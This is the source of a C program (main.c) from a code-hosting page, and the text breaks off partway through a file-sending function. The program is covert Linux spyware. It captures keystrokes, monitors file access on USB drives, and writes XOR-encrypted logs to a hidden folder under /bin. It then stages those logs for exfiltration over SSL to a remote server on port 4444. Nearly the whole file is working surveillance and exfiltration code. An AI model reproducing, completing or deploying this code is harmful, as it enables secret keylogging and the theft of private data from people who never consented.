-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.c
More file actions
1768 lines (1564 loc) · 59.8 KB
/
main.c
File metadata and controls
1768 lines (1564 loc) · 59.8 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
// Otherwise we don't get O_LARGEFILE
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <poll.h>
#include <errno.h>
#include <fcntl.h>
#include <time.h>
#include <pcap.h>
#include <libudev.h>
#include <dirent.h>
#include <signal.h>
#include <linux/input.h>
#include <sys/socket.h>
#include <sys/fanotify.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/prctl.h>
#include <netinet/if_ether.h>
#include <arpa/inet.h>
#include <X11/Xlib.h>
#include <X11/Xutil.h>
#include <openssl/sha.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
#define LOG_FOLDER "/bin/corelg/"
#define TO_SEND_FOLDER "to_send/"
#define USER_DIRECTORY "/home/astra"
#define MAIN_LOG_FILE "corelg"
#define KEYBOARD_LOG_FILE "corelg_1"
#define DEVICES_PATH "/proc/bus/input/devices"
#define MAX_DEVICES_BUFFER_SIZE 4096
#define FANOTIFY_BUFFER_SIZE 8192
#define ENCRYPTION_KEY "my_secret_key"
// Sending files
#define SERVER_PORT 4444
#define BUFFER_SIZE 4096
#define RECEIVE_ACK "ACK"
#define CUSTOM_PAYLOAD "macip"
#define MAX_PAYLOAD_SIZE 100
#define ACK_TIMEOUT 10 // Seconds
#define SLEEP_TIME_CONNECT 5 // Seconds
#define MAX_RETRIES_CONNECT 3
const char* keycode_to_char(int keycode) {
switch(keycode) {
case KEY_ESC: return "ESC";
case KEY_F1: return "F1";
case KEY_F2: return "F2";
case KEY_F3: return "F3";
case KEY_F4: return "F4";
case KEY_F5: return "F5";
case KEY_F6: return "F6";
case KEY_F7: return "F7";
case KEY_F8: return "F8";
case KEY_F9: return "F9";
case KEY_F10: return "F10";
case KEY_F11: return "F11";
case KEY_F12: return "F12";
case KEY_SYSRQ: return "PRINT SCREEN";
case KEY_SCROLLLOCK: return "SCROLL LOCK";
case KEY_PAUSE: return "PAUSE";
case KEY_GRAVE: return "`";
case KEY_1: return "1";
case KEY_2: return "2";
case KEY_3: return "3";
case KEY_4: return "4";
case KEY_5: return "5";
case KEY_6: return "6";
case KEY_7: return "7";
case KEY_8: return "8";
case KEY_9: return "9";
case KEY_0: return "0";
case KEY_MINUS: return "-";
case KEY_EQUAL: return "=";
case KEY_BACKSPACE: return "BACKSPACE";
case KEY_INSERT: return "INSERT";
case KEY_HOME: return "HOME";
case KEY_PAGEUP: return "PAGE UP";
case KEY_TAB: return "TAB";
case KEY_Q: return "Q";
case KEY_W: return "W";
case KEY_E: return "E";
case KEY_R: return "R";
case KEY_T: return "T";
case KEY_Y: return "Y";
case KEY_U: return "U";
case KEY_I: return "I";
case KEY_O: return "O";
case KEY_P: return "P";
case KEY_LEFTBRACE: return "[";
case KEY_RIGHTBRACE: return "]";
case KEY_BACKSLASH: return "\\";
case KEY_DELETE: return "DELETE";
case KEY_END: return "END";
case KEY_PAGEDOWN: return "PAGE DOWN";
case KEY_CAPSLOCK: return "CAPSLOCK";
case KEY_A: return "A";
case KEY_S: return "S";
case KEY_D: return "D";
case KEY_F: return "F";
case KEY_G: return "G";
case KEY_H: return "H";
case KEY_J: return "J";
case KEY_K: return "K";
case KEY_L: return "L";
case KEY_SEMICOLON: return ";";
case KEY_APOSTROPHE: return "'";
case KEY_ENTER: return "ENTER";
case KEY_LEFTSHIFT: return "LEFT SHIFT";
case KEY_Z: return "Z";
case KEY_X: return "X";
case KEY_C: return "C";
case KEY_V: return "V";
case KEY_B: return "B";
case KEY_N: return "N";
case KEY_M: return "M";
case KEY_COMMA: return ",";
case KEY_DOT: return ".";
case KEY_SLASH: return "/";
case KEY_RIGHTSHIFT: return "RIGHT SHIFT";
case KEY_LEFTCTRL: return "LEFT CTRL";
case KEY_LEFTMETA: return "LEFT SUPER KEY (WINDOWS)";
case KEY_LEFTALT: return "LEFT ALT";
case KEY_SPACE: return "SPACE";
case KEY_RIGHTALT: return "RIGHT ALT";
case KEY_RIGHTMETA: return "RIGHT SUPER KEY (WINDOWS)"; // 26 characters, maximum
case KEY_FN_D: return "FUNCTION";
case KEY_RIGHTCTRL: return "RIGHT CTRL";
case KEY_UP: return "UP ARROW";
case KEY_LEFT: return "LEFT ARROW";
case KEY_DOWN: return "DOWN ARROW";
case KEY_RIGHT: return "RIGHT ARROW";
case KEY_NUMLOCK: return "NUMLOCK";
case KEY_KPSLASH: return "/ (NUMPAD)";
case KEY_KPASTERISK: return "*";
case KEY_KPMINUS: return "- (NUMPAD)";
case KEY_KP1: return "1 (NUMPAD)";
case KEY_KP2: return "2 (NUMPAD)";
case KEY_KP3: return "3 (NUMPAD)";
case KEY_KP4: return "4 (NUMPAD)";
case KEY_KP5: return "5 (NUMPAD)";
case KEY_KP6: return "6 (NUMPAD)";
case KEY_KP7: return "7 (NUMPAD)";
case KEY_KP8: return "8 (NUMPAD)";
case KEY_KP9: return "9 (NUMPAD)";
case KEY_KP0: return "0 (NUMPAD)";
case KEY_KPPLUS: return "+ (NUMPAD)";
case KEY_KPENTER: return "ENTER (NUMPAD)";
case KEY_KPDOT: return ". (NUMPAD)";
default: return "";
}
}
int create_folder_if_not_exists(const char *folder_path) {
struct stat st = {0};
if (stat(folder_path, &st) == -1) {
if (mkdir(folder_path, 0777) == -1 && errno != EEXIST) {
return 0;
}
return 1;
}
return 1;
}
char *xor_encrypt(const char *input, size_t len) {
const size_t key_len = strlen(ENCRYPTION_KEY);
char *encrypted = (char *)malloc(len + 1); // Allocate one extra for null-terminator
if (!encrypted) {
return NULL;
}
for (size_t i = 0; i < len; ++i) {
encrypted[i] = input[i] ^ ENCRYPTION_KEY[i % key_len];
}
encrypted[len] = '\0'; // Null-terminate the encrypted string
return encrypted;
}
// Do not give it messages with \n
void log_message(const char *message) {
create_folder_if_not_exists(LOG_FOLDER);
char full_path[2 * PATH_MAX];
int written = snprintf(full_path, sizeof(full_path), "%s%s", LOG_FOLDER, MAIN_LOG_FILE);
if (written >= sizeof(full_path) || written < 0) {
return;
}
FILE *file = fopen(full_path, "ab");
if (file == NULL) {
return;
}
struct timespec ts;
if (clock_gettime(CLOCK_REALTIME, &ts) == -1) {
fclose(file);
return;
}
struct tm *time_info;
char time_buffer[40];
time_info = localtime(&ts.tv_sec);
if (!time_info) {
fclose(file);
return;
}
size_t bytes_written = strftime(time_buffer, sizeof(time_buffer), "%Y-%m-%d %H:%M:%S", time_info);
if (bytes_written == 0) {
fclose(file);
return;
}
long milliseconds = ts.tv_nsec / 1000000; // Convert nanoseconds to milliseconds
char log_entry[PATH_MAX * 3];
int log_size = snprintf(log_entry, sizeof(log_entry), "[%s.%03ld]: %s\n", time_buffer, milliseconds, message);
if (log_size < 0 || (size_t)log_size >= sizeof(log_entry)) {
fclose(file);
return;
}
//printf("%s", log_entry); // DEBUG
char *encrypted_message = xor_encrypt(log_entry, log_size);
if (encrypted_message) {
fwrite(encrypted_message, 1, log_size, file);
free(encrypted_message);
}
fclose(file);
}
void log_keyboard(const char *str) {
char full_path[2 * PATH_MAX];
int written = snprintf(full_path, sizeof(full_path), "%s%s", LOG_FOLDER, KEYBOARD_LOG_FILE);
if (written >= sizeof(full_path) || written < 0) {
log_message("Error: Failed to construct keyboard log path");
return;
}
FILE *file = fopen(full_path, "ab");
if (file == NULL) {
log_message("Error: Failed to open keyboard log file");
return;
}
size_t str_len = strlen(str);
char *to_encrypt = malloc(str_len + 2); // +1 for \n, +1 for null terminator
if (to_encrypt == NULL) {
log_message("Error: Memory allocation failed for encryption buffer");
fclose(file);
return;
}
snprintf(to_encrypt, str_len + 2, "%s\n", str);
char *encrypted = xor_encrypt(to_encrypt, str_len + 1); // +1 for \n
free(to_encrypt);
if (!encrypted) {
log_message("Error: Failed to encrypt keyboard input");
fclose(file);
return;
}
size_t bytes_written = fwrite(encrypted, 1, str_len + 1, file); // +1 for \n
if (bytes_written != str_len + 1) {
log_message("Error: Failed to write encrypted keyboard input to log file");
}
free(encrypted);
if (fclose(file) != 0) {
log_message("Error: Failed to close keyboard log file");
}
}
int find_mount_point(const char *devnode, char **mount_point) {
FILE *file = fopen("/proc/mounts", "r");
if (file == NULL) {
log_message("An error occurred while opening /proc/mounts");
return 1;
}
char *line = NULL;
size_t line_size = 0;
while ((getline(&line, &line_size, file)) != -1) {
char dev[PATH_MAX] = {0};
char mount[PATH_MAX] = {0};
if (sscanf(line, " %s %s", dev, mount) == 2) {
if (strcmp(dev, devnode) == 0) {
*mount_point = strdup(mount);
if (*mount_point == NULL) {
perror("Error allocating memory for mount point");
free(line);
if (fclose(file) != 0) {
log_message("An error occurred while closing /proc/mounts");
}
return 1;
}
free(line);
fclose(file);
return 0;
}
}
}
free(line);
if (fclose(file) != 0) {
log_message("An error occurred while closing /proc/mounts");
}
return 1;
}
char* compute_sha256_of_file(const char* filename) {
FILE* file = fopen(filename, "rb");
if (file == NULL) {
log_message("Error: Failed to open file for hashing");
return NULL;
}
unsigned char hash[SHA256_DIGEST_LENGTH];
SHA256_CTX sha256;
unsigned char buffer[4096];
size_t bytesRead = 0;
SHA256_Init(&sha256);
while ((bytesRead = fread(buffer, 1, sizeof(buffer), file))) {
SHA256_Update(&sha256, buffer, bytesRead);
}
SHA256_Final(hash, &sha256);
char* output = malloc(SHA256_DIGEST_LENGTH * 2 + 1);
for (int i = 0; i < SHA256_DIGEST_LENGTH; i++) {
sprintf(output + (i * 2), "%02x", hash[i]);
}
if (fclose(file) != 0) {
log_message("Error: Failed t0 close file after hashing");
}
return output;
}
int compute_sha256_of_string(const char* data, char outputBuffer[65]) {
unsigned char hash[SHA256_DIGEST_LENGTH];
SHA256_CTX sha256;
if (!SHA256_Init(&sha256)) {
log_message("Error: SHA256_Init failed");
return 1;
}
if (!SHA256_Update(&sha256, data, strlen(data))) {
log_message("Error: SHA256_Update failed");
return 1;
}
if (!SHA256_Final(hash, &sha256)) {
log_message("Error: SHA256_Final failed");
return 1;
}
int written = -1;
for (int i = 0; i < SHA256_DIGEST_LENGTH; i++) {
written = snprintf(outputBuffer + (i * 2), 3, "%02x", hash[i]);
if (written != 2) {
return 1;
}
}
outputBuffer[64] = 0;
return 0;
}
enum {
FD_POLL_FANOTIFY,
FD_POLL_MAX
};
static uint64_t event_mask =
(FAN_ACCESS | /* File accessed */
FAN_MODIFY | /* File modified */
FAN_CLOSE_WRITE | /* Writable file closed */
FAN_CLOSE_NOWRITE | /* Unwritable file closed */
FAN_OPEN | /* File was opened */
FAN_ONDIR | /* We want to be reported of events in the directory */
FAN_EVENT_ON_CHILD); /* We want to be reported of events in files of the directory */
static char *get_program_name_from_pid (int pid, char *buffer, size_t buffer_size) {
int fd;
ssize_t len;
char *aux;
int written = snprintf(buffer, buffer_size, "/proc/%d/cmdline", pid);
if (written >= buffer_size || written < 0) {
log_message("Error: Failed to format proc path");
return NULL;
}
if ((fd = open(buffer, O_RDONLY)) < 0) {
log_message("Error: Failed to open proc path");
return NULL;
}
len = read(fd, buffer, buffer_size - 1);
close(fd);
if (len <= 0) {
log_message("Error: Failed to read proc path");
return NULL;
}
buffer[len] = '\0';
aux = strchr(buffer, '\0');
if (aux && aux != buffer)
*aux = '\0';
return buffer;
}
static char *get_file_path_from_fd(int fd, char *buffer, size_t buffer_size) {
if (fd < 0) {
log_message("Error: Got negative file descriptor");
return NULL;
}
int written = snprintf(buffer, buffer_size, "/proc/self/fd/%d", fd);
if (written < 0 || written >= buffer_size) {
log_message("Error: Failed to write to buffer with /proc/self/fd/");
return NULL;
}
char temp_buffer[buffer_size];
ssize_t len;
len = readlink(buffer, temp_buffer, buffer_size - 1);
if (len < 0) {
log_message("Error: Failed to get filepath from fd");
return NULL;
}
temp_buffer[len] = '\0';
// Since the size of temp_buffer is the same as buffer, and we've ensured len is less than buffer_size - 1, strncpy is safe to use here.
strncpy(buffer, temp_buffer, buffer_size - 1);
buffer[buffer_size - 1] = '\0'; // Ensure null-termination
return buffer;
}
void copy_file(const char* src, const char* dest) {
FILE* source = fopen(src, "rb");
if (source == NULL) {
return;
}
FILE* destination = fopen(dest, "wb");
if (destination == NULL) {
log_message("Error: Failed to open destination file for copy");
if (fclose(source) != 0) {
log_message("Error: Failed to close source file");
}
return;
}
char buffer[4096];
size_t bytesRead;
int copySuccessful = 1;
while ((bytesRead = fread(buffer, 1, sizeof(buffer), source)) > 0) {
if (fwrite(buffer, 1, bytesRead, destination) != bytesRead) {
log_message("Error: Failed to write to destination file");
copySuccessful = 0;
break;
}
}
if (fclose(source) != 0) {
log_message("Error: Failed to close source file");
copySuccessful = 0;
}
if (fclose(destination) != 0) {
log_message("Error: Failed to close destination file");
copySuccessful = 0;
}
if (copySuccessful) {
if (remove(src) != 0) {
log_message("Error: Failed to delete source file after copying");
}
}
}
static void process_fanotify_event (struct fanotify_event_metadata *event, const pid_t program_pid) {
if ((pid_t)event->pid == program_pid) {
return;
}
char string_buffer[PATH_MAX * 2];
int offset = 0;
char path[PATH_MAX];
if (!get_file_path_from_fd(event->fd, path, PATH_MAX)) {
return;
}
int new_offset = snprintf(string_buffer, sizeof(string_buffer), "Received event in path '%s'", path);
if (new_offset >= sizeof(string_buffer) || new_offset < 0) {
log_message("Error: Failed to create log message for event");
return;
}
offset += new_offset;
new_offset = snprintf(string_buffer + offset, sizeof(string_buffer) - offset, " (%s)", get_program_name_from_pid (event->pid,path,PATH_MAX) ? path : "unknown");
if (new_offset >= sizeof(string_buffer) || new_offset < 0) {
log_message("Error: Failed to create log message for event");
return;
}
offset += new_offset;
if (event->mask & FAN_OPEN) {
new_offset = snprintf(string_buffer + offset, sizeof(string_buffer) - offset, " FAN_OPEN");
if (new_offset >= sizeof(string_buffer) || new_offset < 0) {
log_message("Error: Failed to create log message for event");
return;
}
offset += new_offset;
}
if (event->mask & FAN_ACCESS) {
new_offset = snprintf(string_buffer + offset, sizeof(string_buffer) - offset, " FAN_ACCESS");
if (new_offset >= sizeof(string_buffer) || new_offset < 0) {
log_message("Error: Failed to create log message for event");
return;
}
offset += new_offset;
}
if (event->mask & FAN_MODIFY) {
new_offset = snprintf(string_buffer + offset, sizeof(string_buffer) - offset, " FAN_MODIFY");
if (new_offset >= sizeof(string_buffer) || new_offset < 0) {
log_message("Error: Failed to create log message for event");
return;
}
offset += new_offset;
}
if (event->mask & FAN_CLOSE_WRITE) {
new_offset = snprintf(string_buffer + offset, sizeof(string_buffer) - offset, " FAN_CLOSE_WRITE");
if (new_offset >= sizeof(string_buffer) || new_offset < 0) {
log_message("Error: Failed to create log message for event");
return;
}
offset += new_offset;
}
if (event->mask & FAN_CLOSE_NOWRITE) {
new_offset = snprintf(string_buffer + offset, sizeof(string_buffer) - offset, " FAN_CLOSE_NOWRITE");
if (new_offset >= sizeof(string_buffer) || new_offset < 0) {
log_message("Error: Failed to create log message for event");
return;
}
offset += new_offset;
}
struct stat st;
if (fstat(event->fd, &st) == -1) {
log_message("Error: fstat failed");
}
else {
if (S_ISREG(st.st_mode)) {
char *sha256hash = compute_sha256_of_file(path);
if (sha256hash) {
if (strcmp(sha256hash, "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855") == 0) {
new_offset = snprintf(string_buffer + offset, sizeof(string_buffer) - offset, " (empty file)");
if (new_offset >= sizeof(string_buffer) || new_offset < 0) {
log_message("Error: Failed to create log message with empty hash");
return;
}
}
else {
new_offset = snprintf(string_buffer + offset, sizeof(string_buffer) - offset, " %s", sha256hash);
if (new_offset >= sizeof(string_buffer) || new_offset < 0) {
log_message("Error: Failed to create log message with hash");
return;
}
}
free(sha256hash);
}
else {
new_offset = snprintf(string_buffer + offset, sizeof(string_buffer) - offset, " hash-error");
if (new_offset >= sizeof(string_buffer) || new_offset < 0) {
log_message("Error: Failed to log hash-error");
return;
}
}
}
}
log_message(string_buffer);
close(event->fd);
}
static int initialize_fanotify (){
int fanotify_fd;
if ((fanotify_fd = fanotify_init(FAN_CLOEXEC, O_RDONLY | O_CLOEXEC | O_LARGEFILE)) < 0) {
log_message("Error: Failed to init fanotify");
return -1;
}
return fanotify_fd;
}
static void mark_mount_to_monitor(const int fanotify_fd, const char *path) {
int written = 0;
if (fanotify_mark(fanotify_fd, FAN_MARK_ADD | FAN_MARK_MOUNT, event_mask, AT_FDCWD, path) == -1) {
char string_buffer[PATH_MAX + 50];
written = snprintf(string_buffer, sizeof(string_buffer), "Error: Failed to start monitoring directory '%s'", path);
if (written >= sizeof(string_buffer) || written < 0) {
log_message("Error: Failed to log fanotify start monitor error");
}
else {
log_message(string_buffer);
}
}
else {
char string_buffer[256];
written = snprintf(string_buffer, sizeof(string_buffer), "Started monitoring directory '%s'", path);
if (written >= sizeof(string_buffer) || written < 0) {
log_message("Error: Failed to log fanotify start monitor");
}
else {
log_message(string_buffer);
}
}
}
void mark_directory_and_subdirectories_to_monitor(int fanotify_fd, const char *path) {
int written = 0;
DIR *dir = opendir(path);
if (dir == NULL) {
log_message("Error: Failed to open directory");
return;
}
char string_buffer[PATH_MAX + 50];
if (fanotify_mark(fanotify_fd, FAN_MARK_ADD, event_mask, AT_FDCWD, path) == -1) {
written = snprintf(string_buffer, sizeof(string_buffer), "Error: Failed to start monitoring directory '%s'", path);
if (written >= sizeof(string_buffer) || written < 0) {
log_message("Error: Failed to log failure of start of monitoring");
}
else {
log_message(string_buffer);
}
// If directory fails, we still need to try to monitor it's subdirectories
closedir(dir);
return;
}
else {
written = snprintf(string_buffer, sizeof(string_buffer), "Started monitoring directory '%s'", path);
if (written >= sizeof(string_buffer) || written < 0) {
log_message("Error: Failed to log start of monitoring");
}
else {
log_message(string_buffer);
}
}
struct dirent *entry;
while ((entry = readdir(dir)) != NULL) {
// Skip . and ..
if (strcmp(entry->d_name, ".") == 0 || strcmp(entry->d_name, "..") == 0) {
continue;
}
if (entry->d_type == DT_DIR) {
char new_path[PATH_MAX];
written = snprintf(new_path, sizeof(new_path), "%s/%s", path, entry->d_name);
if (written >= sizeof(new_path) || written < 0) {
log_message("Error: Failed to construct new path");
}
else {
mark_directory_and_subdirectories_to_monitor(fanotify_fd, new_path);
}
}
}
if (closedir(dir) == -1) {
log_message("Error: Failed to close directory");
}
}
void monitor_existing_flashdrives(struct udev* udev, int fanotify_fd) {
struct udev_enumerate* enumerate;
struct udev_list_entry* devices;
struct udev_list_entry* dev_list_entry;
enumerate = udev_enumerate_new(udev);
if (!enumerate) {
log_message("Error: Failed to create udev enumerate object");
return;
}
if (udev_enumerate_add_match_subsystem(enumerate, "block") < 0) {
log_message("Error: Failed to add subsystem match for 'block' for udev enumerate");
udev_enumerate_unref(enumerate);
return;
}
if (udev_enumerate_add_match_property(enumerate, "ID_BUS", "usb") < 0) {
log_message("Error: Failed to add property match for udev enumerate");
udev_enumerate_unref(enumerate);
return;
}
if (udev_enumerate_scan_devices(enumerate) < 0) {
log_message("Error: Failed to scan udev devices");
udev_enumerate_unref(enumerate);
return;
}
devices = udev_enumerate_get_list_entry(enumerate);
if (!devices) {
log_message("No currently attached flashdrived detected");
udev_enumerate_unref(enumerate);
return;
}
udev_list_entry_foreach(dev_list_entry, devices) {
const char* syspath = udev_list_entry_get_name(dev_list_entry);
if (!syspath) {
log_message("Error: Failed to retrieve syspath from list entry");
continue; // Skipping to the next iteration since we can't process this entry without a syspath
}
struct udev_device* dev = udev_device_new_from_syspath(udev, syspath);
if (!dev) {
log_message("Error: Failed to create udev device from syspath");
continue; // Skipping to the next iteration since we can't process this entry without the device
}
if (dev) {
const char* devnode = udev_device_get_devnode(dev);
if (devnode) {
const char* filesystem_uuid = udev_device_get_property_value(dev, "ID_FS_UUID");
if (!filesystem_uuid) {
udev_device_unref(dev);
continue;
}
const char* name = udev_device_get_property_value(dev, "ID_MODEL");
const char* vendor = udev_device_get_property_value(dev, "ID_VENDOR");
const char* serial = udev_device_get_property_value(dev, "ID_SERIAL_SHORT");
log_message("Existing device detected.");
char string_buffer[256];
int written = 0;
written = snprintf(string_buffer, sizeof(string_buffer), "Device name: %s", name ? name : "Unknown");
if (written >= sizeof(string_buffer) || written < 0) {
log_message("Error: Failed to log device name");
}
else {
log_message(string_buffer);
}
written = snprintf(string_buffer, sizeof(string_buffer), "Device vendor: %s", vendor ? vendor : "Unknown");
if (written >= sizeof(string_buffer) || written < 0) {
log_message("Error: Failed to log device vendor");
}
else {
log_message(string_buffer);
}
written = snprintf(string_buffer, sizeof(string_buffer), "Serial number: %s", serial ? serial : "Unknown");
if (written >= sizeof(string_buffer) || written < 0) {
log_message("Error: Failed to log device serial number");
}
else {
log_message(string_buffer);
}
written = snprintf(string_buffer, sizeof(string_buffer), "Filesystem UUID: %s", filesystem_uuid);
if (written >= sizeof(string_buffer) || written < 0) {
log_message("Error: Failed to log device filesystem UUID");
}
else {
log_message(string_buffer);
}
char *mount_point = NULL;
if (find_mount_point(devnode, &mount_point) == 0) {
written = snprintf(string_buffer, sizeof(string_buffer), "Device mount point: %s", mount_point);
if (written >= sizeof(string_buffer) || written < 0) {
log_message("Error: Failed to log device mount point");
}
else {
log_message(string_buffer);
}
mark_mount_to_monitor(fanotify_fd, mount_point);
free(mount_point);
}
else {
log_message("Mount point not found");
}
}
udev_device_unref(dev);
}
}
udev_enumerate_unref(enumerate);
}
int get_keyboard_event_num() {
FILE *file = fopen(DEVICES_PATH, "r");
if (!file) {
log_message("Error: Failed to open devices file");
return -1;
}
char *line = NULL;
size_t buffer_size = 0;
int eventNum = -2; // -2 = Not found, -1 = Error
int isKeyboard = 0;
int c;
size_t len = 0;
while ((c = fgetc(file)) != EOF) {
if (len == buffer_size) {
if (buffer_size + 128 > MAX_DEVICES_BUFFER_SIZE) {
log_message("Error: Failed to read devices file");
free(line);
fclose(file);
return -1;
}
buffer_size += 128; // Increase the buffer size in chunks of 128 bytes
char *new_line = realloc(line, buffer_size);
if (!new_line) {
log_message("Error: Failed to allocate memory");
free(line);
if (fclose(file) != 0) {
log_message("Error: Failed to close devices file");
}
return -1;
}
line = new_line;
}
line[len++] = (char)c;
if (c == '\n') {
line[len] = '\0'; // Null-terminate the line
if (strstr(line, "EV=12001f") || strstr(line, "EV=120013")) {
isKeyboard++;
}
if (strstr(line, "Handlers=")) {
char *eventPtr = strstr(line, "event");
if (eventPtr) {
char *endPtr;
long int longEventNum = strtol(eventPtr + 5, &endPtr, 10); // "event" has 5 characters
if (eventPtr + 5 == endPtr || longEventNum < INT_MIN || longEventNum > INT_MAX) {
// No characters were consumed, conversion failed or the parsed value doesn't fit into an int
eventNum = -2;
}
else {
eventNum = (int)longEventNum;
}
}
}
if (isKeyboard > 0 && eventNum != -2) {
break; // Exit loop if a keyboard with an event number is found
}
if (strlen(line) == 1) {
isKeyboard = 0;
eventNum = -2;
}
len = 0; // Reset the length for the next line
}
}
free(line);
if (fclose(file) != 0) {
log_message("Error: Failed to close devices file");
}
return eventNum;
}
int copy_files() {
DIR* dir = opendir(LOG_FOLDER);
if (dir == NULL) {
log_message("Error: Failed to open source folder for copying");
return 1;
}
char toSendPath[PATH_MAX];
int written = snprintf(toSendPath, sizeof(toSendPath), "%s%s", LOG_FOLDER, TO_SEND_FOLDER);
if (written < 0 || written >= sizeof(toSendPath)) {
log_message("Error: Failed to construct to_send folder path");
return 1;
}
if (!create_folder_if_not_exists(toSendPath)) {
log_message("Error: create_folder_if_not_exists failed");
return 1;
}
struct dirent* entry;
char srcPath[PATH_MAX];
char destPath[PATH_MAX];
while ((entry = readdir(dir)) != NULL) {
if (entry->d_type == DT_REG) { // if it's a regular file
written = snprintf(srcPath, sizeof(srcPath), "%s%s", LOG_FOLDER, entry->d_name);
if (written < 0 || written >= sizeof(srcPath)) {
log_message("Error: Failed to construct source path for copying");
return 1;
}
if (strcmp(entry->d_name, MAIN_LOG_FILE) == 0 || strcmp(entry->d_name, KEYBOARD_LOG_FILE) == 0) {
// Compute SHA-256 hash of the current time with milliseconds
char timeBuffer[100];
struct timespec ts;
if (clock_gettime(CLOCK_REALTIME, &ts) == -1) {
log_message("Error: Failed to get time for copying files");
return 1;
}
written = snprintf(timeBuffer, sizeof(timeBuffer), "%ld%ld", ts.tv_sec, ts.tv_nsec / 1000000); // milliseconds
if (written < 0 || written >= sizeof(timeBuffer)) {
log_message("Error: Failed to construct time buffer during copying");
return 1;
}
char hashOutput[65];
if (compute_sha256_of_string(timeBuffer, hashOutput)) {
return 1;
}
written = snprintf(destPath, sizeof(destPath), "%s%s%s", LOG_FOLDER, TO_SEND_FOLDER, hashOutput);
if (written < 0 || written >= sizeof(destPath)) {
log_message("Error: Failed to construct destination path during copying");
return 1;
}
}
else {
written = snprintf(destPath, sizeof(destPath), "%s%s%s", LOG_FOLDER, TO_SEND_FOLDER, entry->d_name);
if (written < 0 || written >= sizeof(destPath)) {
log_message("Error: Failed to construct destination path during copying");
return 1;
}
}
// If copy of single file fails we need to send other. If every files fail - we won't send anything.
copy_file(srcPath, destPath);
}
}
if (closedir(dir) == -1) {
log_message("Error: Failed to close source dir after copying");
return 1;
}
return 0;
}
int send_file(SSL *ssl, const char *file_path) {
// Extract filename from a potentially full path
char *filename = strrchr(file_path, '/');
if (!filename) {
filename = (char *)file_path;
}
else {
filename++;
}
size_t name_len = strlen(filename);
int written;
written = SSL_write(ssl, &name_len, sizeof(int));
if (written <= 0) {
log_message("Error: Failed to send name length");
return 1;
}
written = SSL_write(ssl, filename, (int)name_len);
if (written <= 0) {
log_message("Error: Failed to send filename");
return 1;
}
FILE *file = fopen(file_path, "rb");
if (!file) {
log_message("Error: Failed to open file for sending");
return 1;
}
if (fseek(file, 0, SEEK_END) != 0) {
if (fclose(file) != 0) {
log_message("Error: Failed to close file after fseek");
}
